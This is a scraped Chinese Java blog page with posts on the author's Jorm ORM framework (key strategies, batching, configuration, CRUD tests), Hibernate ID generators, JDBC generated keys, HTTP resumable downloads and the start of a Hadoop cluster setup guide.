posts - 495,  comments - 11,  trackbacks - 0
  2007年5月19日

> 引言
  在Jorm中,主键的生成策略主要有AUTO、UUID、GUID、FOREIGN、SEQUENCE、INCREMENT、IDENTITY、ASSIGNED,下面分别来讲述这几种策略的应用场景

> GenerationType.AUTO
  Jorm的默认主键策略,自动增长型,自增步长为1,适用数据类型int,long,如:
  private int id // 默认策略就是AUTO,故可以不写主键策略
  或
  @Id(GenerationType.AUTO) // 默认策略可以省去不写的哦~
  private int id

> GenerationType.INCREMENT
  顾名思义,增长型,适用数据类型int,long。自增步长为1
  1> 使用默认自增步长1,如:
     @Id(GenerationType.INCREMENT)
     @Column("item_id")
     private long id;
  2> 使用自定义步长,如:
     @Id(value = GenerationType.INCREMENT, incrementBy=3) // 这里自增步长为3,注意写法
     private int id;

> GenerationType.IDENTITY
  对于那些实现了自动增长的数据库,可以使用IDENTITY,如MySQL,SQL Server,PostreSQL,前提是
  MySQL数据库中建表语句定义了主键为:id(你的主键列名) int NOT NULL AUTO_INCREMENT 或
                                                                      
id(你的主键列名) bigint NOT NULL AUTO_INCREMENT
  SQL Server数据库中建表语句定义了主键为:id int identity(xx, xx) 如此类似
  PostreSQL数据库中建表语句定义了主键为:id bigserial  或  id serial
  使用例子
  @Id(GenerationType.IDENTITY)
  @Column("id")
  private long sid;

> GenerationType.UUID
  与数据库无关的策略,适用数据类型:字符串类型,适用所有数据库,长度须大于或等于32
  @Id(GenerationType.UUID)
  private String id;

> GenerationType.GUID
  与UUID有点类似,不过这个id值是又数据库来生成的,适用于数据库MySQL、PostgreSQL、SQL Server、Oracle等
  @Id(GenerationType.GUID)
  private String id;

> GenerationType.FOREIGN
  适用于一对一关系中引用了另一个对象的主键作为自己的主键的情形,如:
  @Id(GenerationType.FOREIGN)
  @Column("identity_number")
  private String identity;

> GenerationType.SEQUENCE
  这个不用多说,应用于Oracle、H2、PostgreSQL等有sequence序列功能的数据库

> GenerationType.ASSIGNED
  用户自定义生成,需要由程序员手工给主键主动赋值

 

项目地址:http://javaclub.sourceforge.net/jorm.html
下载地址:http://sourceforge.net/projects/javaclub/files/jorm/


posted @ 2011-10-10 15:17 jadmin 阅读(1482) | 评论 (3)编辑 收藏

直接上代码吧:

> Demo one
public void batch_op_one() {

    session = Jorm.getSession();
    JdbcBatcher batcher = session.createBatcher();
    batcher.addBatch("delete from t_id_auto");
    batcher.addBatch("delete from t_incre");
    batcher.addBatch("delete from t_user");
    batcher.execute();
   
    session.beginTransaction();
    long start;
    try {
        start = System.currentTimeMillis();
        String sql = "INSERT INTO t_user(sex,age,career,name,id) VALUES(?,?,?,?,?)";
        for (int i = 0; i < 100000; i++) {
            batcher.addBatch(sql, new Object[] {"男", Numbers.random(98), Strings.random(10), Strings.fixed(6), (i+1) });}
            String sqlx = "INSERT INTO t_id_auto(name, id) VALUES(?, ?)";
            for (int i = 0; i < 100000; i++) {
                batcher.addBatch(sqlx, new Object[] {Strings.fixed(6), (i+1)});
                if(i > 200) {
                    //Integer.parseInt("kkk");
                }
            }
            batcher.execute();   
            System.out.println(System.currentTimeMillis() - start);
    } catch (Exception e) {
        session.rollback();
    } finally {
        session.endTransaction();
        session.close();
    }
}

> Demo two
public void batch_op_two() {

    session = Jorm.getSession();
    session.beginTransaction();
    session.clean(User.class);
    JdbcBatcher batcher = session.createBatcher();
    batcher.setBatchSize(500);// 指定每批处理的记录数
   
    User u;
    int times = 20 * 100;
    long start = System.currentTimeMillis();
    for(int i = 0; i < times; i++) {
     String sex = (i % 2 == 0 ? "男" : "女");
     u = new User(Strings.fixed(6), sex, Numbers.random(100), Strings.random(16));
     batcher.save(u);
    }
    batcher.execute();
    session.endTransaction();
    long cost = (System.currentTimeMillis() - start);
    System.out.println("Total:" + cost);
    System.out.println("Each:" + (float) cost / times);
    session.close();
}

项目地址:http://javaclub.sourceforge.net/jorm.html
下载地址: http://sourceforge.net/projects/javaclub/files/jorm/

posted @ 2011-10-09 20:09 jadmin 阅读(1281) | 评论 (0)编辑 收藏
关系数据库不支持继承,我们可以做如下的映射,这些映射都是牺牲关系模式的范式基础的
 
1,  用一个表包含所有继承层次的所有字段,然后标识列来标示是哪个类。这种映射方法最简单,但是是违反规范化的,而且有些字段要强制为NULL值,无法保证关系数据模型的数据完整性,这种映射方式性能最高,最简单。
 
2,  每个具体类一张表(意思就是父类不需要表),所有父属性在具体类表中重复,这种映射如果要查询父类要全部扫描子类表,而且一旦父类变化,这些字表要全部变化。
 
3,  每个类一张表,表里只包含所属类的属性,然后子类和父类共享外键,这种映射避免了第2种的可怕的修改,但是查询的时候要执行连接。
posted @ 2011-09-27 09:38 jadmin 阅读(190) | 评论 (0)编辑 收藏

      在一般情况下,在新增领域对象后,都需要获取对应的主键值。使用应用层来维护主键,在一定程度上有利于程序性能的优化和应用移植性的提高。在采用数据库自增主键的方案里,如果JDBC驱动不能绑定新增记录对应的主键,就需要手工执行查询语句以获取对应的主键值,对于高并发的系统,这很容易返回错误的主键。通过带缓存的DataFieldMaxValueIncrementer,可以一次获取批量的主键值,供多次插入领域对象时使用,它的执行性能是很高的。

      我们经常使用数据的自增字段作为表主键,也即主键值不在应用层产生,而是在新增记录时,由数据库产生。这样,应用层在保存对象前并不知道对象主键值,而必须在保存数据后才能从数据库中返回主键值。在很多情况下,我们需要获取新对象持久化后的主键值。在Hibernate等ORM框架,新对象持久化后,Hibernate会自动将主键值绑定到对象上,给程序的开发带来了很多方便。 

      在JDBC 3.0规范中,当新增记录时,允许将数据库自动产生的主键值绑定到Statement或PreparedStatement中。

      使用Statement时,可以通过以下方法绑定主键值: int executeUpdate(String sql, int autoGeneratedKeys) 

      也可以通过Connection创建绑定自增值的PreparedStatement: PreparedStatement prepareStatement(String sql, int autoGeneratedKeys) 

      当autoGeneratedKeys参数设置为Statement.RETURN_GENERATED_KEYS值时即可绑定数据库产生的主键值,设置为Statement.NO_GENERATED_KEYS时,不绑定主键值。下面的代码演示了Statement绑定并获取数据库产生的主键值的过程:

      Statement stmt = conn.createStatement();
      String sql = "INSERT INTO t_topic(topic_title,user_id) VALUES(‘测试主题’,’123’)";
      stmt.executeUpdate(sql,Statement.RETURN_GENERATED_KEYS); // ①指定绑定表自增主键值
      ResultSet rs = stmt.getGeneratedKeys();
      if( rs.next() ) {
           intkey = rs.getInt(); // ②获取对应的表自增主键值
      }

      Spring利用这一技术,提供了一个可以返回新增记录对应主键值的方法: int update(PreparedStatementCreator psc, KeyHolder generatedKeyHolder) ,其中第二个参数类型org.springframework.jdbc.support.KeyHolder,它是一个回调接口,Spring使用它保存新增记录对应的主键,该接口的接口方法描述如下: 

      Number getKey() throws InvalidDataAccessApiUsageException;

      当仅插入一行数据,主键不是复合键且是数字类型时,通过该方法可以直接返回新的主键值。如果是复合主键,或者有多个主键返回时,该方法抛出 InvalidDataAccessApiUsageException。该方法是最常用的方法,因为一般情况下,我们一次仅插入一条数据并且主键字段类型为数字类型; 

      如果是复合主键,则列名和列值构成Map中的一个Entry。如果返回的是多个主键,则抛出InvalidDataAccessApiUsageException异常; 

      Map getKeys() throws InvalidDataAccessApiUsageException;

      如果返回多个主键,即PreparedStatement新增了多条记录,则每一个主键对应一个Map,多个Map构成一个List。

      List getKeyList(): 

      Spring为KeyHolder接口指代了一个通用的实现类GeneratedKeyHolder,该类返回新增记录时的自增长主键值。假设我们希望在新增论坛板块对象后,希望将主键值加载到对象中,则可以按以下代码进行调整:

      public voidaddForum(final Forum forum) {
            final String sql = "INSERT INTO t_forum(forum_name,forum_desc) VALUES(?,?)";
            KeyHolder keyHolder = newGeneratedKeyHolder(); // ①创建一个主键执有者
            getJdbcTemplate().update(newPreparedStatementCreator() {
                  public PreparedStatement createPreparedStatement(Connection conn) throws SQLException {
                        PreparedStatement ps = conn.prepareStatement(sql);
                        ps.setString(1, forum.getForumName());
                        ps.setString(2, forum.getForumDesc());
                        returnps;
                  }
            }, keyHolder);
            forum.setForumId(keyHolder.getKey().intValue()); // ②从主键执有者中获取主键
      }

      这样,在调用addForum(Forum forum)新增forum领域对象后,forum将拥有对应的主键值,方便后继的使用。在JDBC 3.0之前的版本中,PreparedStatement不能绑定主键,如果采用表自增键(如MySQL的auto increment或SQLServer的identity)将给获取正确的主键值带来挑战——因为你必须在插入数据后,马上执行另一条获取新增主键的查询语句。下面给出了不同数据库获取最新自增主键值的查询语句: 

posted @ 2011-09-25 14:27 jadmin 阅读(980) | 评论 (0)编辑 收藏

1) Assigned
主键由外部程序负责生成,无需Hibernate参与。


2) hilo
通过hi/lo 算法实现的主键生成机制,需要额外的数据库表保存主键生成历史状态。


3) seqhilo
与hilo 类似,通过hi/lo 算法实现的主键生成机制,只是主键历史状态保存在Sequence中,适用于支持Sequence的数据库,如Oracle。


4) increment
主键按数值顺序递增。此方式的实现机制为在当前应用实例中维持一个变量,以保存着当前的最大值,之后每次需要生成主键的时候将此值加1作为主键。 这种方式可能产生的问题是:如果当前有多个实例访问同一个数据库,那么由于各个实例各自维护主键状态,不同实例可能生成同样的主键,从而造成主键重复异常。因此,如果同一数据库有多个实例访问,此方式必须避免使用。


5) identity
采用数据库提供的主键生成机制。如DB2、SQL Server、MySQL中的主键生成机制。


6) sequence
采用数据库提供的sequence 机制生成主键。如Oralce 中的Sequence。


7) native
由Hibernate根据底层数据库自行判断采用identity、hilo、sequence其中一种作为主键生成方式。


8) uuid.hex
由Hibernate基于128 位唯一值产生算法生成16 进制数值(编码后以长度32 的字符串表示)作为主键。


9) uuid.string
与uuid.hex 类似,只是生成的主键未进行编码(长度16)。在某些数据库中可能出现问题(如PostgreSQL)。


10) foreign
使用外部表的字段作为主键。一般而言,利用uuid.hex方式生成主键将提供最好的性能和数据库平台适应性。
另外由于常用的数据库,如Oracle、DB2、SQLServer、MySql 等,都提供了易用的主键生成机制(Auto-Increase 字段或者Sequence)。我们可以在数据库提供的主键生成机制上,采用generator-class=native的主键生成方式。不过值得注意的是,一些数据库提供的主键生成机制在效率上未必最佳,


大量并发insert数据时可能会引起表之间的互锁。数据库提供的主键生成机制,往往是通过在一个内部表中保存当前主键状态(如对于自增型主键而言,此内部表中就维护着当前的最大值和递增量), 之后每次插入数据会读取这个最大值,然后加上递增量作为新记录的主键,之后再把这个新的最大值更新回内部表中,这样,一次Insert操作可能导致数据库内部多次表读写操作,同时伴随的还有数据的加锁解锁操作,这对性能产生了较大影响。 因此,对于并发Insert要求较高的系统,推荐采用uuid.hex 作为主键生成机制。


如果需要采用定制的主键生成算法,则在此处配置主键生成器,主键生成器须实现org.hibernate.id.IdentifierGenerator 接口

 

关键词: Hibernate  主键   主键生成方式  IdentifierGenerator

 

posted @ 2011-09-25 13:47 jadmin 阅读(993) | 评论 (0)编辑 收藏
     摘要:   阅读全文
posted @ 2011-09-23 16:17 jadmin 阅读(1262) | 评论 (1)编辑 收藏

http://www.oschina.net/news/21642/jdbc-orm-framework-1-0-6

主要更新:
----------------------------------------
 * [35] fix: oracle下一个分页取limit数错误的bug.
 * [34] fix: oracle下检测是否支持Savepoints时,一个未捕获的异常.
 * [33] add: 对bonecp的支持
 * [32] add: 对proxool的支持
 * [31] add: 对commons-dbcp的支持
 * [30] fix: classpath没有config.properties文件会报错


posted @ 2011-09-23 10:53 jadmin 阅读(189) | 评论 (0)编辑 收藏
> 引言
有时候我们有这样的需求,对象有一个属性可能有多个值,需要在数据库中作为一个字段存储

还是以User为例,career存储多个职业

> 建表
以MySQL为例,执行下面的sql建立数据表
CREATE TABLE `t_user` (                
        `id` int(11) NOT NULL,               
        `name` varchar(50) DEFAULT NULL,     
        `sex` char(4) DEFAULT NULL,          
        `age` int(11) DEFAULT NULL,          
        `career` varchar(100) DEFAULT NULL,  
        PRIMARY KEY (`id`)                   
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

> 代码
实体类 User.java
@Entity(table = "t_user")
@PK(value 
= "id")
public class User implements Serializable {

    
/** desc */
    
private static final long serialVersionUID = -4750351638245912867L;

    @Id
    
private int id;

    
private String name;

    
private String sex;

    
private Integer age;

    @Basic(processor
=DefinedFieldProcessor.class)
    
private String[] career;

    @NoColumn
    
private int kvalue;

    
public JawaUser() {
        
super();
    }

    
public JawaUser(String name, String sex, Integer age, String[] career) {
        
super();
        
this.name = name;
        
this.sex = sex;
        
this.age = age;
        
this.career = career;
    }

    
public int getId() {
        
return id;
    }

    
public void setId(int id) {
        
this.id = id;
    }

    
public String getName() {
        
return name;
    }

    
public void setName(String name) {
        
this.name = name;
    }

    
public String getSex() {
        
return sex;
    }

    
public void setSex(String sex) {
        
this.sex = sex;
    }

    
public Integer getAge() {
        
return age;
    }

    
public void setAge(Integer age) {
        
this.age = age;
    }

    
public String[] getCareer() {
        
return career;
    }

    
public void setCareer(String[] career) {
        
this.career = career;
    }

    
public int getKvalue() {
        
return kvalue;
    }

    
public void setKvalue(int kvalue) {
        
this.kvalue = kvalue;
    }

    
public String toString() {
        
return "User [age=" + age + ", career=" + Arrays.toString(career)
                
+ ", id=" + id + ", kvalue=" + kvalue + ", name=" + name
                
+ ", sex=" + sex + "]";
    }
}
属性字段处理类 DefinedFieldProcessor.java

import java.lang.reflect.Field;
import java.sql.ResultSet;
import java.sql.SQLException;

import org.javaclub.jorm.Session;
import org.javaclub.jorm.common.CommonUtil;
import org.javaclub.jorm.common.Reflections;
import org.javaclub.jorm.jdbc.process.FieldProcessor;

public
 class DefinedFieldProcessor implements FieldProcessor {

    
public Object insert(Session session, Object entity, Field field) {
        String[] crs 
= (String[]) Reflections.getFieldValue(entity, field);
        
if(!CommonUtil.isEmpty(crs)) {
            StringBuilder sbf 
= new StringBuilder();
            
for (int i = 0; i < crs.length; i++) {
                
if(i > 0) {
                    sbf.append(
",");
                }
                sbf.append(crs[i]);
            }
            
return sbf.toString();
        }
        
return "";
    }

    
public void load(Session session, Object entity, Field field, ResultSet rs,
            
int idx) throws SQLException {
        String str 
= rs.getString(idx);
        String[] crs 
= str.split(",");
        Reflections.setFieldValue(entity, field, crs);
    }

}

> 测试

import org.javaclub.jorm.Jorm;
import org.javaclub.jorm.Session;
import org.javaclub.jorm.common.Numbers;
import org.javaclub.jorm.common.Strings;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;

public
 class FieldProcessorTest {

    
static Session session;

    @BeforeClass
    
public static void setUpBeforeClass() {
        session 
= Jorm.getSession();
    }

    @AfterClass
    
public static void destroy() {
        Jorm.free();
    }

    @Test
    
public void test_save() {

        session.clean(User.
class);
        User u;
        
for (int i = 0; i < 100; i++) {
            String sex 
= (i % 2 == 0 ? "" : "");
            String[] cr 
= {};
            
if(i % 3 == 0) {
                cr 
= new String[] {Strings.fixed(2), Strings.random(5), Strings.fixed(6)};
            } 
else if(i % 3 == 1) {
                cr 
= new String[] {Strings.fixed(2), Strings.random(5)};
            } 
else {
                cr 
= new String[] {Strings.fixed(2)};
            }
            u 
= new User(Strings.fixed(6), sex, Numbers.random(100), cr);
            session.save(u);
        }

        
for (int i = 0; i < 10; i++) {
            u 
= session.read(User.class, i + 1);
            System.out.println(u);
        }
    }
}
posted @ 2011-09-22 20:16 jadmin 阅读(1207) | 评论 (0)编辑 收藏

> 准备
以MySQL为例,执行下面的sql建立数据表
CREATE TABLE `t_user` (                
        `id` int(11) NOT NULL,               
        `name` varchar(50) DEFAULT NULL,     
        `sex` char(4) DEFAULT NULL,          
        `age` int(11) DEFAULT NULL,          
        `career` varchar(100) DEFAULT NULL,  
        PRIMARY KEY (`id`)                   
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

> 引入jar或maven依赖,需要jar包
gerald-jorm-1.0.5.jar 最新版本下载:http://sourceforge.net/projects/javaclub/files
commons-logging-1.1.1.jar
log4j-1.2.14.jar
mysql-connector-java-5.1.6.jar
javassist-3.11.0.GA.jar 或 cglib-nodep-2.2.2.jar (根据实际情况选择性加入)


> 配置文件
在你的java工程的classpath下建立config.properties和jdbc.cfg.xml文件
config.properties内容:
# 下面路径可以根据实际情况指定,为相对classpath的路径地址
jdbc.config.path=jdbc.cfg.xml

jdbc.cfg.xml内容:
<?xml version='1.0' encoding="UTF-8"?>
<jdbc-configuration>

  <constant name="show_sql" value="true" />
  <constant name="jdbc.batch_size" value="600" />
  <constant name="bytecode.provider" value="cglib" />
 
  <connections default="simple">
 
    <connection name="simple">
      <property name="connection.implementation">org.javaclub.jorm.jdbc.connection.impl.SimpleConnection</property>
      <property name="connection.dialect">MySQLDialect</property>
      <property name="connection.driver">com.mysql.jdbc.Driver</property>
      <property name="connection.jdbcurl">jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&amp;characterEncoding=UTF-8</property>
      <property name="connection.database">test</property>
      <property name="connection.username">root</property>
      <property name="connection.password">root</property>
    </connection>

    <connection name="c3p0">
      <property name="connection.implementation">org.javaclub.jorm.jdbc.connection.impl.PooledConnection</property>
      <property name="connection.dialect">MySQLDialect</property>
      <property name="connection.driver">com.mysql.jdbc.Driver</property>
      <property name="connection.jdbcurl">jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&amp;characterEncoding=UTF-8</property>
      <property name="connection.database">test</property>
      <property name="connection.username">root</property>
      <property name="connection.password">root</property>
      <property name="connection.pool.min">1</property>
      <property name="connection.pool.max">8</property>
      <property name="connection.test.sql">select 1</property>
    </connection>
    
  </connections>

</jdbc-configuration>


> 实体类User.java
@PK(value = "id")
@Entity(table="t_user")
public class User {
    
    @Id
    private int id;

    private String name;

    private String sex;

    private Integer age;

    private String career;
    
    @NoColumn
    private int kvalue;
    
    public User() {
        super();
    }

    public User(String name, String sex, Integer age, String career) {
        super();
        this.name = name;
        this.sex = sex;
        this.age = age;
        this.career = career;
    }

    public User(Integer id, String name, String sex, Integer age, String career) {
        super();
        this.id = id;
        this.name = name;
        this.sex = sex;
        this.age = age;
        this.career = career;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getSex() {
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public String getCareer() {
        return career;
    }

    public void setCareer(String career) {
        this.career = career;
    }

    public int getKvalue() {
        return kvalue;
    }

    public void setKvalue(int kvalue) {
        this.kvalue = kvalue;
    }

    public String toString() {
        StringBuffer sb = new StringBuffer();
        sb.append("[" + id + ", " + name + ", " + sex + ", " + age + ", " + career + "]");
        return sb.toString();
    }

}

这里数据库字段和java实体类User的属性在命名上是一致的,如果不一致,比如如果表创建sql为:
CREATE TABLE `t_user` (                
        `user_id` int(11) NOT NULL,               
        `user_name` varchar(50) DEFAULT NULL,     
        `sex` char(4) DEFAULT NULL,          
        `col_age` int(11) DEFAULT NULL,          
        `career_job` varchar(100) DEFAULT NULL,  
        PRIMARY KEY (`id`)                   
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

那么对应的实体User应该写成:
@PK(value = "id")
@Entity(table="t_user")
public class User {
    
    @Id
    @Column("user_id")
    private int id;

    @Column("user_name")
    private String name;
        
    // 与数据库字段命名一致,可以不指定@Column
    private String sex;

    @Column("col_age")
    private Integer age;

    @Column("career_job")
    private String career;
    
    @NoColumn
    private int kvalue;
    
    public User() {
        super();
    }

    public User(String name, String sex, Integer age, String career) {
        super();
        this.name = name;
        this.sex = sex;
        this.age = age;
        this.career = career;
    }

    public User(Integer id, String name, String sex, Integer age, String career) {
        super();
        this.id = id;
        this.name = name;
        this.sex = sex;
        this.age = age;
        this.career = career;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getSex() {
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public String getCareer() {
        return career;
    }

    public void setCareer(String career) {
        this.career = career;
    }

    public int getKvalue() {
        return kvalue;
    }

    public void setKvalue(int kvalue) {
        this.kvalue = kvalue;
    }

    public String toString() {
        StringBuffer sb = new StringBuffer();
        sb.append("[" + id + ", " + name + ", " + sex + ", " + age + ", " + career + "]");
        return sb.toString();
    }

}


> 对User的增删查改,UserCrudTest.java,记得引入junit-4.8.2.jar
public class UserCrudTest {

    static Session session;
    
    @BeforeClass
    public static void before() {
        session = Jorm.getSession();
    }
    
    @AfterClass
    public static void after() {
        Jorm.free();
    }
    
    @Test
    public void save_user() {
        session.clean(User.class);
        User user = null;
        for (int i = 0; i < 600; i++) {
            String sex = (i % 2 == 0 ? "男" : "女");
            user = new User(Strings.fixed(5), sex, Numbers.random(98), Strings.random(8));
            session.save(user);
        }
    }
    
    @Test // 批量保存
    public void batch_save_user() {
        session.clean(User.class);
        JdbcBatcher batcher = session.createBatcher();
        User user = null;
        for (int i = 0; i < 600; i++) {
            String sex = (i % 2 == 0 ? "男" : "女");
            user = new User(Strings.fixed(5), sex, Numbers.random(98), Strings.random(8));
            batcher.save(user);
        }
        batcher.execute();
    }
    
    @Test
    public void loadUser() {
        User user = session.read(User.class, 1);
        // 这里user是一个代理对象,因为@Entity(table="t_user", lazy = true)
        System.out.println(user.getCareer());// 发出查询sql
    }
    
    @Test
    public void deletUser() {
        User user = session.read(User.class, 1);
        if(null != user) {
            session.delete(user);
        }
        user = session.read(User.class, 1);
        System.out.println(user);
    }
    
    @Test
    public void test_update_proxy() {
        
        User u;
        u = session.read(User.class, 2);
        Assert.assertNotNull(u);
        Assert.assertTrue(u instanceof JormProxy);
        
        u.setName("Gerald.Chen");
        session.update(u);
        System.out.println(u.getName());
        u = session.read(User.class, 2);
        Assert.assertTrue("Gerald.Chen".equals(u.getName()));
    }
    
    @Test
    public void queryUser() {
        SqlParams<User> params = new SqlParams<User>();
        params.setObjectClass(User.class);
        params.setFirstResult(8);
        params.setMaxResults(20);
        List<User> users = session.list(params);
        System.out.println(users.size());
        System.out.println(users);
    }
    
}

posted @ 2011-09-21 18:42 jadmin 阅读(1401) | 评论 (5)编辑 收藏

> 特点
  1.支持多数据源管理和配置
  2.自动封装Entity
  3.支持事务
  4.支持存储过程的方便调用
  5.支持lazy加载
  6.支持分页查询
  7.支持多种数据库H2,MySQL,Oracle,PostgrSQL,SQLServer

> 要求
  1.JDK 1.5 or later
  2.如需要lazy加载,需要引入cglib或javaassit,具体可配置

> 示例
  1.添加
  Session session = Jorm.getSession();
  User u = new User("Gerald.Chen", "男", 21, "job");;
  session.save(u);

  2.删除
  session.clean(User.class);// 清空表
  session.delete(User.class, "id > 100");// 指定条件删除

  session.delete(user);

  3.查询
  User user = session.read(User.class, 1);// 根据主键加载

  // 加载第一个
  User user = session.loadFirst(User.class, "(SELECT * FROM t_user WHERE id > ?)", 88);

  // 分页查询
  SqlParams<User> params = new SqlParams<User>("SELECT * FROM t_user WHERE id > ?", new Object[] { 6 });
  params.setObjectClass(User.class);
  params.setFirstResult(3);
  params.setMaxResults(10);
  List<User> users = session.list(params);

  // 查询单个属性
  String sql = "SELECT name FROM t_user WHERE id = 28";
  String name = session.queryUniqueObject(sql);

  // 查询属性列表
  List<String> names = session.list(String.class, "SELECT name FROM t_user WHERE id > ?", 200);
  List<Integer> ages = session.list(int.class, "SELECT age FROM t_user WHERE age > 18");

  4.存储过程
  final String pro = "{? = call hello_proc(?)}";
  String r = session.call(new ProcedureCaller() {
            
     public CallableStatement prepare() throws SQLException {
    CallableStatement cs = this.getSession().getConnection().prepareCall(pro);
    cs.setString(2, "World");
    cs.registerOutParameter(1, Types.CHAR);
    return cs;
     }
            
     public String callback(CallableStatement cs) throws SQLException {
    cs.execute();
    return cs.getString(1);
     }
  });

  5.事务
  session.clean(User.class);
  User u;
  session.beginTransaction();
  try {
    for(int i = 0; i < 1000; i++) {
        String sex = (i % 2 == 0 ? "男" : "女");
        u = new User(Strings.fixed(6), sex, Numbers.random(100), Strings.random(16));
        session.save(u);
        if(i == 886) {
            Integer.parseInt("kkk");
        }
    }
    session.commit();
  } catch (Exception e) {
    session.rollback();
  } finally {
    session.endTransaction();
  }

这是一个完全基于JDBC的轻量java orm framework, 目标定位于使用方便,简单,后续会增加许多新的特性


 

项目地址:http://javaclub.sourceforge.net/jorm.html

下载地址:http://sourceforge.net/projects/javaclub/files

 

posted @ 2011-09-20 18:52 jadmin 阅读(251) | 评论 (0)编辑 收藏

> 原理

其实断点续传的原理很简单,就是在 Http 的请求上和一般的下载有所不同而已。
打个比方,浏览器请求服务器上的一个文时,所发出的请求如下:
假设服务器域名为 wwww.sjtu.edu.cn,文件名为 down.zip。
GET /down.zip HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Keep-Alive

服务器收到请求后,按要求寻找请求的文件,提取文件的信息,然后返回给浏览器,返回信息如下:

200
Content-Length=106786028
Accept-Ranges=bytes
Date=Mon, 30 Apr 2001 12:56:11 GMT
ETag=W/"02ca57e173c11:95b"
Content-Type=application/octet-stream
Server=Microsoft-IIS/5.0
Last-Modified=Mon, 30 Apr 2001 12:56:11 GMT

所谓断点续传,也就是要从文件已经下载的地方开始继续下载。所以在客户端浏览器传给 Web 服务器的时候要多加一条信息 -- 从哪里开始。
下面是用自己编的一个"浏览器"来传递请求信息给 Web 服务器,要求从 2000070 字节开始。
GET /down.zip HTTP/1.0
User-Agent: NetFox
RANGE: bytes=2000070-
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

仔细看一下就会发现多了一行 RANGE: bytes=2000070-
这一行的意思就是告诉服务器 down.zip 这个文件从 2000070 字节开始传,前面的字节不用传了。
服务器收到这个请求以后,返回的信息如下:
206
Content-Length=106786028
Content-Range=bytes 2000070-106786027/106786028
Date=Mon, 30 Apr 2001 12:55:20 GMT
ETag=W/"02ca57e173c11:95b"
Content-Type=application/octet-stream
Server=Microsoft-IIS/5.0
Last-Modified=Mon, 30 Apr 2001 12:55:20 GMT

和前面服务器返回的信息比较一下,就会发现增加了一行:
Content-Range=bytes 2000070-106786027/106786028

返回的代码也改为 206 了,而不再是 200 了。

> 关键点

(1) 用什么方法实现提交 RANGE: bytes=2000070-。
当然用最原始的 Socket 是肯定能完成的,不过那样太费事了,其实 Java 的 net 包中提供了这种功能。代码如下:

URL url = new URL("http://www.sjtu.edu.cn/down.zip");
HttpURLConnection httpConnection = (HttpURLConnection)url.openConnection();

// 设置 User-Agent
httpConnection.setRequestProperty("User-Agent","NetFox");
// 设置断点续传的开始位置
httpConnection.setRequestProperty("RANGE","bytes=2000070");
// 获得输入流
InputStream input = httpConnection.getInputStream();

从输入流中取出的字节流就是 down.zip 文件从 2000070 开始的字节流。大家看,其实断点续传用 Java 实现起来还是很简单的吧。接下来要做的事就是怎么保存获得的流到文件中去了。

(2)保存文件采用的方法。
我采用的是 IO 包中的 RandAccessFile 类。
操作相当简单,假设从 2000070 处开始保存文件,代码如下:
RandomAccess oSavedFile = new RandomAccessFile("down.zip","rw");
long nPos = 2000070;
// 定位文件指针到 nPos 位置
oSavedFile.seek(nPos);
byte[] b = new byte[1024];
int nRead;
// 从输入流中读入字节流,然后写到文件中
while((nRead=input.read(b,0,1024)) > 0) {
     oSavedFile.write(b,0,nRead);

}

 

posted @ 2011-09-08 21:51 jadmin 阅读(101) | 评论 (0)编辑 收藏

SymmetricDS是一个平台独立的数据同步和复制的解决方案。

配置数据模型:

运行时数据模型:

posted @ 2011-09-02 09:15 jadmin 阅读(227) | 评论 (0)编辑 收藏

> 问题:给40亿个不重复的unsigned int的整数,没排过序的,然后再给几个数,如何快速判断这几个数是否在那40亿个数当中?

> 解决:unsigned int 的取值范围是0到2^32-1。我们可以申请连续的2^32/8=512M的内存,用每一个bit对应一个unsigned int数字。首先将512M内存都初始化为0,然后每处理一个数字就将其对应的bit设置为1。当需要查询时,直接找到对应bit,看其值是0还是1即可。

posted @ 2011-08-30 21:01 jadmin 阅读(131) | 评论 (0)编辑 收藏

lazy的属性有false、true、extra

false和true用得比较多,extra属性是不大容易重视的,其实它和true差不多

extra有个小的智能的地方是,即调用集合的size/contains等方法的时候,hibernate并不会去加载整个集合的数据,而是发出一条聪明的SQL语句,以便获得需要的值,只有在真正需要用到这些集合元素对象数据的时候,才去发出查询语句加载所有对象的数据


posted @ 2011-08-30 20:00 jadmin 阅读(102) | 评论 (0)编辑 收藏

本文将介绍在Linux(Red Hat 9)环境下搭建Hadoop集群,此Hadoop集群主要由三台机器组成,主机名分别为
linux      192.168.35.101
linux02  192.168.35.102
linux03  192.168.35.103

从map reduce计算的角度讲,linux作为master节点,linux02和linux03作为slave节点。
从hdfs数据存储角度讲,linux作为namenode节点,linux02和linux03作为datanode节点。


一台namenode机,主机名为linux,hosts文件内容如下:
127.0.0.1       linux          localhost.localdomain          localhost
192.168.35.101     linux          linux.localdomain              linux
192.168.35.102     linux02
192.168.35.103     linux03

两台datanode机,主机名为linux02和linux03
>linux02的hosts文件
127.0.0.1         linux02       localhost.localdomain       localhost
192.168.35.102     linux02       linux02.localdomain         linux02
192.168.35.101     linux
192.168.35.103     linux03
>inux03的hosts文件
127.0.0.1              linux03          localhost.localdomain          localhost
192.168.35.103          linux03            linux03.localdomain            linux03
192.168.35.101       linux
192.168.35.102       linux02

1.安装JDK
> 从java.cun.com下载jdk-6u7-linux-i586.bin

> ftp上传jdk到linux的root目录下

> 进入root目录,先后执行命令
chmod 755 jdk-6u18-linux-i586-rpm.bin
./jdk-6u18-linux-i586-rpm.bin

一路按提示下去就会安装成功

> 配置环境变量
